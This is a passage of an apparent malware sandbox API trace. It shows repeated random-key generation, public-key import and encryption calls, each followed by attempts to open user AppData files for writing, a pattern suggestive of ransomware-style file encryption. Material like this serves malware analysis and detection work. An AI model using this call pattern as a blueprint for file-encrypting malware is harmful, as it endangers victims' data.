phProv=0x285eb7c*=0x5c4980) returned 1 [0305.777] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x67af7f0) returned 1 [0305.777] CryptGetKeyParam (in: hKey=0x67af7f0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0305.777] CryptEncrypt (in: hKey=0x67af7f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdea0000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0xdea0000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0305.777] GetLastError () returned 0x0 [0305.777] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0305.777] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x5c4760) returned 1 [0305.779] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x67af770) returned 1 [0305.779] CryptGetKeyParam (in: hKey=0x67af770, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0305.779] CryptEncrypt (in: hKey=0x67af770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdeb0000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0xdeb0000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0305.779] GetLastError () returned 0x0 [0305.779] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0305.780] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\GameDVR\\KnownGameList.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\microsoft\\gamedvr\\knowngamelist.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0306.096] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0306.101] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.104] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.105] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0306.105] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.105] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0306.109] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.112] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.112] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0306.112] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.112] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4e48) returned 1 [0306.115] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af570) returned 1 [0306.115] CryptGetKeyParam (in: hKey=0x67af570, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.115] CryptEncrypt (in: hKey=0x67af570, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdec0000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xdec0000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0306.115] GetLastError () returned 0x0 [0306.115] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0306.115] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0306.117] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af2b0) returned 1 [0306.117] CryptGetKeyParam (in: hKey=0x67af2b0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.117] CryptEncrypt (in: hKey=0x67af2b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xded0000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xded0000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0306.118] GetLastError () returned 0x0 [0306.118] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.118] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0306.143] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0306.147] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.150] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.150] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0306.150] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.150] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0306.153] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.155] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.155] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0306.155] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.156] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0306.158] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af3f0) returned 1 [0306.158] CryptGetKeyParam (in: hKey=0x67af3f0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.158] CryptEncrypt (in: hKey=0x67af3f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdee0000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xdee0000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0306.158] GetLastError () returned 0x0 [0306.158] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.158] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0306.160] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af270) returned 1 [0306.160] CryptGetKeyParam (in: hKey=0x67af270, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.160] CryptEncrypt (in: hKey=0x67af270, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdef0000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xdef0000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0306.161] GetLastError () returned 0x0 [0306.161] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.161] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\notifications\\appdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0306.205] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0306.209] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.212] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.212] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0306.212] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.212] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4980) returned 1 [0306.216] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.218] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.218] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0306.218] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0306.219] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0306.221] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af8b0) returned 1 [0306.221] CryptGetKeyParam (in: hKey=0x67af8b0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.221] CryptEncrypt (in: hKey=0x67af8b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf00000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xdf00000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0306.221] GetLastError () returned 0x0 [0306.221] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.221] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4e48) returned 1 [0306.223] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af0f0) returned 1 [0306.223] CryptGetKeyParam (in: hKey=0x67af0f0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.223] CryptEncrypt (in: hKey=0x67af0f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf10000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xdf10000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0306.224] GetLastError () returned 0x0 [0306.224] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0306.224] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\temporary internet files\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0306.237] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5c4980) returned 1 [0306.242] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.245] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.245] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ecdc | out: pbBuffer=0x285ecdc) returned 1 [0306.245] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0306.245] CryptAcquireContextW (in: phProv=0x285eb8c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285eb8c*=0x5c4760) returned 1 [0306.249] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.252] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.253] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285eca8 | out: pbBuffer=0x285eca8) returned 1 [0306.253] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.253] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x5c4760) returned 1 [0306.256] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x67af5b0) returned 1 [0306.256] CryptGetKeyParam (in: hKey=0x67af5b0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0306.256] CryptEncrypt (in: hKey=0x67af5b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf20000*, pdwDataLen=0x285ecf4*=0xc8, dwBufLen=0x800 | out: pbData=0xdf20000*, pdwDataLen=0x285ecf4*=0x100) returned 1 [0306.256] GetLastError () returned 0x0 [0306.256] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.256] CryptAcquireContextW (in: phProv=0x285eb7c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285eb7c*=0x5c4760) returned 1 [0306.258] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285eb80 | out: phKey=0x285eb80*=0x67af2f0) returned 1 [0306.258] CryptGetKeyParam (in: hKey=0x67af2f0, dwParam=0x8, pbData=0x285eb6c, pdwDataLen=0x285eb74, dwFlags=0x0 | out: pbData=0x285eb6c*=0x800, pdwDataLen=0x285eb74*=0x4) returned 1 [0306.258] CryptEncrypt (in: hKey=0x67af2f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf30000*, pdwDataLen=0x285ecf8*=0xc8, dwBufLen=0x800 | out: pbData=0xdf30000*, pdwDataLen=0x285ecf8*=0x100) returned 1 [0306.259] GetLastError () returned 0x0 [0306.259] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.259] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\usrclass.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0306.261] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4e48) returned 1 [0306.266] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.269] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.269] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0306.269] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0306.269] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0306.273] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.275] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.275] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0306.275] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.276] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0306.279] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af1f0) returned 1 [0306.279] CryptGetKeyParam (in: hKey=0x67af1f0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.279] CryptEncrypt (in: hKey=0x67af1f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf40000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xdf40000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0306.279] GetLastError () returned 0x0 [0306.279] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.279] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4980) returned 1 [0306.281] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af330) returned 1 [0306.281] CryptGetKeyParam (in: hKey=0x67af330, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.281] CryptEncrypt (in: hKey=0x67af330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf50000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xdf50000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0306.281] GetLastError () returned 0x0 [0306.281] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0306.281] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\WebCache\\V01.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\webcache\\v01.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0306.283] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4e48) returned 1 [0306.287] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.290] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.290] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0306.290] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0306.290] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0306.294] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.297] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.297] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0306.297] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.298] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4e48) returned 1 [0306.301] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af3b0) returned 1 [0306.301] CryptGetKeyParam (in: hKey=0x67af3b0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.301] CryptEncrypt (in: hKey=0x67af3b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf60000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xdf60000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0306.301] GetLastError () returned 0x0 [0306.301] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0306.301] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4980) returned 1 [0306.303] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af5f0) returned 1 [0306.303] CryptGetKeyParam (in: hKey=0x67af5f0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.303] CryptEncrypt (in: hKey=0x67af5f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf70000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xdf70000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0306.304] GetLastError () returned 0x0 [0306.304] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0306.304] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\WebCache\\V01tmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\webcache\\v01tmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0306.305] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0306.309] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.313] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.313] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ea54 | out: pbBuffer=0x285ea54) returned 1 [0306.313] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.313] CryptAcquireContextW (in: phProv=0x285e904, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e904*=0x5c4760) returned 1 [0306.317] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.319] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0306.319] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ea20 | out: pbBuffer=0x285ea20) returned 1 [0306.319] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.320] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0306.322] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af670) returned 1 [0306.322] CryptGetKeyParam (in: hKey=0x67af670, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.322] CryptEncrypt (in: hKey=0x67af670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf80000*, pdwDataLen=0x285ea6c*=0xc8, dwBufLen=0x800 | out: pbData=0xdf80000*, pdwDataLen=0x285ea6c*=0x100) returned 1 [0306.323] GetLastError () returned 0x0 [0306.323] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.323] CryptAcquireContextW (in: phProv=0x285e8f4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e8f4*=0x5c4760) returned 1 [0306.325] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e8f8 | out: phKey=0x285e8f8*=0x67af6b0) returned 1 [0306.325] CryptGetKeyParam (in: hKey=0x67af6b0, dwParam=0x8, pbData=0x285e8e4, pdwDataLen=0x285e8ec, dwFlags=0x0 | out: pbData=0x285e8e4*=0x800, pdwDataLen=0x285e8ec*=0x4) returned 1 [0306.325] CryptEncrypt (in: hKey=0x67af6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdf90000*, pdwDataLen=0x285ea70*=0xc8, dwBufLen=0x800 | out: pbData=0xdf90000*, pdwDataLen=0x285ea70*=0x100) returned 1 [0306.325] GetLastError () returned 0x0 [0306.325] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0306.325] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0306.678] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0306.681] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0306.684] GetProcAddress 